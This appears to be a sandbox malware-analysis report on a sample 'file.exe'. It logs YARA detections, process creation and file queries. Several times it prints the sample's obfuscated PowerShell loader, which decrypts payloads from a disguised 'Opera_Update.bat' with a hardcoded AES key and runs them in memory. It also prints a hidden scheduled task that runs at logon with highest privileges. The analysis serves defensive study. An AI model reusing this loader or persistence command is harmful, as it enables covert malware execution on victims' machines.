Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF78CA67C44 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_00007FF78CA67C44
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF78CA67F40 SetUnhandledExceptionFilter,		0_2_00007FF78CA67F40

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell decode and execute

Source: Yara match	File source: amsi64_7532.amsi.csv, type: OTHER
Source: Yara match	File source: amsi64_8044.amsi.csv, type: OTHER
Source: Yara match	File source: dropped/ConDrv, type: DROPPED
Source: Yara match	File source: \Device\ConDrv, type: DROPPED

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('9EHtJ11By61kS8vpIjv1e6+WeJMREtPFNuaC1PKqnxU='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ddpslYZ3AovF8/F/PVkcRw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $nMJpl=New-Object System.IO.MemoryStream(,$param_var); $pYOJO=New-Object System.IO.MemoryStream; $PZyWJ=New-Object System.IO.Compression.GZipStream($nMJpl, [IO.Compression.CompressionMode]::Decompress); $PZyWJ.CopyTo($pYOJO); $PZyWJ.Dispose(); $nMJpl.Dispose(); $pYOJO.Dispose(); $pYOJO.ToArray();}function execute_function($param_var,$param2_var){ $ybABJ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $XmKpu=$ybABJ.EntryPoint; $XmKpu.Invoke($null, $param2_var);}$NtXQf = 'C:\Users\user\AppData\Local\Temp\IXP000.TMP\Opera_Update.bat';$host.UI.RawUI.WindowTitle = $NtXQf;$xcJVx=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($NtXQf).Split([Environment]::NewLine);foreach ($JtxvS in $xcJVx) { if ($JtxvS.StartsWith('GIzCsOPRFtcNTtsmEyZB')) { $TjCqT=$JtxvS.Substring(20); break; }}$payloads_var=[string[]]$TjCqT.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'Windows_Log_414_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\user\AppData\Roaming\Windows_Log_414.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Windows_Log_414.vbs"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\Windows_Log_414.bat" "	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('9EHtJ11By61kS8vpIjv1e6+WeJMREtPFNuaC1PKqnxU='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ddpslYZ3AovF8/F/PVkcRw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $nMJpl=New-Object System.IO.MemoryStream(,$param_var); $pYOJO=New-Object System.IO.MemoryStream; $PZyWJ=New-Object System.IO.Compression.GZipStream($nMJpl, [IO.Compression.CompressionMode]::Decompress); $PZyWJ.CopyTo($pYOJO); $PZyWJ.Dispose(); $nMJpl.Dispose(); $pYOJO.Dispose(); $pYOJO.ToArray();}function execute_function($param_var,$param2_var){ $ybABJ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $XmKpu=$ybABJ.EntryPoint; $XmKpu.Invoke($null, $param2_var);}$NtXQf = 'C:\Users\user\AppData\Roaming\Windows_Log_414.bat';$host.UI.RawUI.WindowTitle = $NtXQf;$xcJVx=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($NtXQf).Split([Environment]::NewLine);foreach ($JtxvS in $xcJVx) { if ($JtxvS.StartsWith('GIzCsOPRFtcNTtsmEyZB')) { $TjCqT=$JtxvS.Substring(20); break; }}$payloads_var=[string[]]$TjCqT.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /s /d /c" echo function decrypt_function($param_var){ $aes_var=[system.security.cryptography.aes]::create(); $aes_var.mode=[system.security.cryptography.ciphermode]::cbc; $aes_var.padding=[system.security.cryptography.paddingmode]::pkcs7; $aes_var.key=[system.convert]::('gnirts46esabmorf'[-1..-16] -join '')('9ehtj11by61ks8vpijv1e6+wejmretpfnuac1pkqnxu='); $aes_var.iv=[system.convert]::('gnirts46esabmorf'[-1..-16] -join '')('ddpslyz3aovf8/f/pvkcrw=='); $decryptor_var=$aes_var.createdecryptor(); $return_var=$decryptor_var.transformfinalblock($param_var, 0, $param_var.length); $decryptor_var.dispose(); $aes_var.dispose(); $return_var;}function decompress_function($param_var){ $nmjpl=new-object system.io.memorystream(,$param_var); $pyojo=new-object system.io.memorystream; $pzywj=new-object system.io.compression.gzipstream($nmjpl, [io.compression.compressionmode]::decompress); $pzywj.copyto($pyojo); $pzywj.dispose(); $nmjpl.dispose(); $pyojo.dispose(); $pyojo.toarray();}function execute_function($param_var,$param2_var){ $ybabj=[system.reflection.assembly]::('daol'[-1..-4] -join '')([byte[]]$param_var); $xmkpu=$ybabj.entrypoint; $xmkpu.invoke($null, $param2_var);}$ntxqf = 'c:\users\user\appdata\local\temp\ixp000.tmp\opera_update.bat';$host.ui.rawui.windowtitle = $ntxqf;$xcjvx=[system.io.file]::('txetlladaer'[-1..-11] -join '')($ntxqf).split([environment]::newline);foreach ($jtxvs in $xcjvx) { if ($jtxvs.startswith('gizcsoprftcnttsmeyzb')) { $tjcqt=$jtxvs.substring(20); break; }}$payloads_var=[string[]]$tjcqt.split('\');$payload1_var=decompress_function (decrypt_function ([convert]::('gnirts46esabmorf'[-1..-16] -join '')($payloads_var[0].replace('#', '/').replace('@', 'a'))));$payload2_var=decompress_function (decrypt_function ([convert]::('gnirts46esabmorf'[-1..-16] -join '')($payloads_var[1].replace('#', '/').replace('@', 'a'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" register-scheduledtask -taskname 'windows_log_414_str' -trigger (new-scheduledtasktrigger -atlogon) -action (new-scheduledtaskaction -execute 'c:\users\user\appdata\roaming\windows_log_414.vbs') -settings (new-scheduledtasksettingsset -allowstartifonbatteries -hidden -executiontimelimit 0) -runlevel highest -force
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /s /d /c" echo function decrypt_function($param_var){ $aes_var=[system.security.cryptography.aes]::create(); $aes_var.mode=[system.security.cryptography.ciphermode]::cbc; $aes_var.padding=[system.security.cryptography.paddingmode]::pkcs7; $aes_var.key=[system.convert]::('gnirts46esabmorf'[-1..-16] -join '')('9ehtj11by61ks8vpijv1e6+wejmretpfnuac1pkqnxu='); $aes_var.iv=[system.convert]::('gnirts46esabmorf'[-1..-16] -join '')('ddpslyz3aovf8/f/pvkcrw=='); $decryptor_var=$aes_var.createdecryptor(); $return_var=$decryptor_var.transformfinalblock($param_var, 0, $param_var.length); $decryptor_var.dispose(); $aes_var.dispose(); $return_var;}function decompress_function($param_var){ $nmjpl=new-object system.io.memorystream(,$param_var); $pyojo=new-object system.io.memorystream; $pzywj=new-object system.io.compression.gzipstream($nmjpl, [io.compression.compressionmode]::decompress); $pzywj.copyto($pyojo); $pzywj.dispose(); $nmjpl.dispose(); $pyojo.dispose(); $pyojo.toarray();}function execute_function($param_var,$param2_var){ $ybabj=[system.reflection.assembly]::('daol'[-1..-4] -join '')([byte[]]$param_var); $xmkpu=$ybabj.entrypoint; $xmkpu.invoke($null, $param2_var);}$ntxqf = 'c:\users\user\appdata\roaming\windows_log_414.bat';$host.ui.rawui.windowtitle = $ntxqf;$xcjvx=[system.io.file]::('txetlladaer'[-1..-11] -join '')($ntxqf).split([environment]::newline);foreach ($jtxvs in $xcjvx) { if ($jtxvs.startswith('gizcsoprftcnttsmeyzb')) { $tjcqt=$jtxvs.substring(20); break; }}$payloads_var=[string[]]$tjcqt.split('\');$payload1_var=decompress_function (decrypt_function ([convert]::('gnirts46esabmorf'[-1..-16] -join '')($payloads_var[0].replace('#', '/').replace('@', 'a'))));$payload2_var=decompress_function (decrypt_function ([convert]::('gnirts46esabmorf'[-1..-16] -join '')($payloads_var[1].replace('#', '/').replace('@', 'a'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /s /d /c" echo function decrypt_function($param_var){ $aes_var=[system.security.cryptography.aes]::create(); $aes_var.mode=[system.security.cryptography.ciphermode]::cbc; $aes_var.padding=[system.security.cryptography.paddingmode]::pkcs7; $aes_var.key=[system.convert]::('gnirts46esabmorf'[-1..-16] -join '')('9ehtj11by61ks8vpijv1e6+wejmretpfnuac1pkqnxu='); $aes_var.iv=[system.convert]::('gnirts46esabmorf'[-1..-16] -join '')('ddpslyz3aovf8/f/pvkcrw=='); $decryptor_var=$aes_var.createdecryptor(); $return_var=$decryptor_var.transformfinalblock($param_var, 0, $param_var.length); $decryptor_var.dispose(); $aes_var.dispose(); $return_var;}function decompress_function($param_var){ $nmjpl=new-object system.io.memorystream(,$param_var); $pyojo=new-object system.io.memorystream; $pzywj=new-object system.io.compression.gzipstream($nmjpl, [io.compression.compressionmode]::decompress); $pzywj.copyto($pyojo); $pzywj.dispose(); $nmjpl.dispose(); $pyojo.dispose(); $pyojo.toarray();}function execute_function($param_var,$param2_var){ $ybabj=[system.reflection.assembly]::('daol'[-1..-4] -join '')([byte[]]$param_var); $xmkpu=$ybabj.entrypoint; $xmkpu.invoke($null, $param2_var);}$ntxqf = 'c:\users\user\appdata\local\temp\ixp000.tmp\opera_update.bat';$host.ui.rawui.windowtitle = $ntxqf;$xcjvx=[system.io.file]::('txetlladaer'[-1..-11] -join '')($ntxqf).split([environment]::newline);foreach ($jtxvs in $xcjvx) { if ($jtxvs.startswith('gizcsoprftcnttsmeyzb')) { $tjcqt=$jtxvs.substring(20); break; }}$payloads_var=[string[]]$tjcqt.split('\');$payload1_var=decompress_function (decrypt_function ([convert]::('gnirts46esabmorf'[-1..-16] -join '')($payloads_var[0].replace('#', '/').replace('@', 'a'))));$payload2_var=decompress_function (decrypt_function ([convert]::('gnirts46esabmorf'[-1..-16] -join '')($payloads_var[1].replace('#', '/').replace('@', 'a'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" register-scheduledtask -taskname 'windows_log_414_str' -trigger (new-scheduledtasktrigger -atlogon) -action (new-scheduledtaskaction -execute 'c:\users\user\appdata\roaming\windows_log_414.vbs') -settings (new-scheduledtasksettingsset -allowstartifonbatteries -hidden -executiontimelimit 0) -runlevel highest -force	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /s /d /c" echo function decrypt_function($param_var){ $aes_var=[system.security.cryptography.aes]::create(); $aes_var.mode=[system.security.cryptography.ciphermode]::cbc; $aes_var.padding=[system.security.cryptography.paddingmode]::pkcs7; $aes_var.key=[system.convert]::('gnirts46esabmorf'[-1..-16] -join '')('9ehtj11by61ks8vpijv1e6+wejmretpfnuac1pkqnxu='); $aes_var.iv=[system.convert]::('gnirts46esabmorf'[-1..-16] -join '')('ddpslyz3aovf8/f/pvkcrw=='); $decryptor_var=$aes_var.createdecryptor(); $return_var=$decryptor_var.transformfinalblock($param_var, 0, $param_var.length); $decryptor_var.dispose(); $aes_var.dispose(); $return_var;}function decompress_function($param_var){ $nmjpl=new-object system.io.memorystream(,$param_var); $pyojo=new-object system.io.memorystream; $pzywj=new-object system.io.compression.gzipstream($nmjpl, [io.compression.compressionmode]::decompress); $pzywj.copyto($pyojo); $pzywj.dispose(); $nmjpl.dispose(); $pyojo.dispose(); $pyojo.toarray();}function execute_function($param_var,$param2_var){ $ybabj=[system.reflection.assembly]::('daol'[-1..-4] -join '')([byte[]]$param_var); $xmkpu=$ybabj.entrypoint; $xmkpu.invoke($null, $param2_var);}$ntxqf = 'c:\users\user\appdata\roaming\windows_log_414.bat';$host.ui.rawui.windowtitle = $ntxqf;$xcjvx=[system.io.file]::('txetlladaer'[-1..-11] -join '')($ntxqf).split([environment]::newline);foreach ($jtxvs in $xcjvx) { if ($jtxvs.startswith('gizcsoprftcnttsmeyzb')) { $tjcqt=$jtxvs.substring(20); break; }}$payloads_var=[string[]]$tjcqt.split('\');$payload1_var=decompress_function (decrypt_function ([convert]::('gnirts46esabmorf'[-1..-16] -join '')($payloads_var[0].replace('#', '/').replace('@', 'a'))));$payload2_var=decompress_function (decrypt_function ([convert]::('gnirts46esabmorf'[-1..-16] -join '')($payloads_var[1].replace('#', '/').replace('@', 'a'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00007FF78CA612C0 GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetLastError,LocalAlloc,GetTokenInformation,AllocateAndInitializeSid,EqualSid,FreeSid,LocalFree,CloseHandle,

0_2_00007FF78CA612C0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
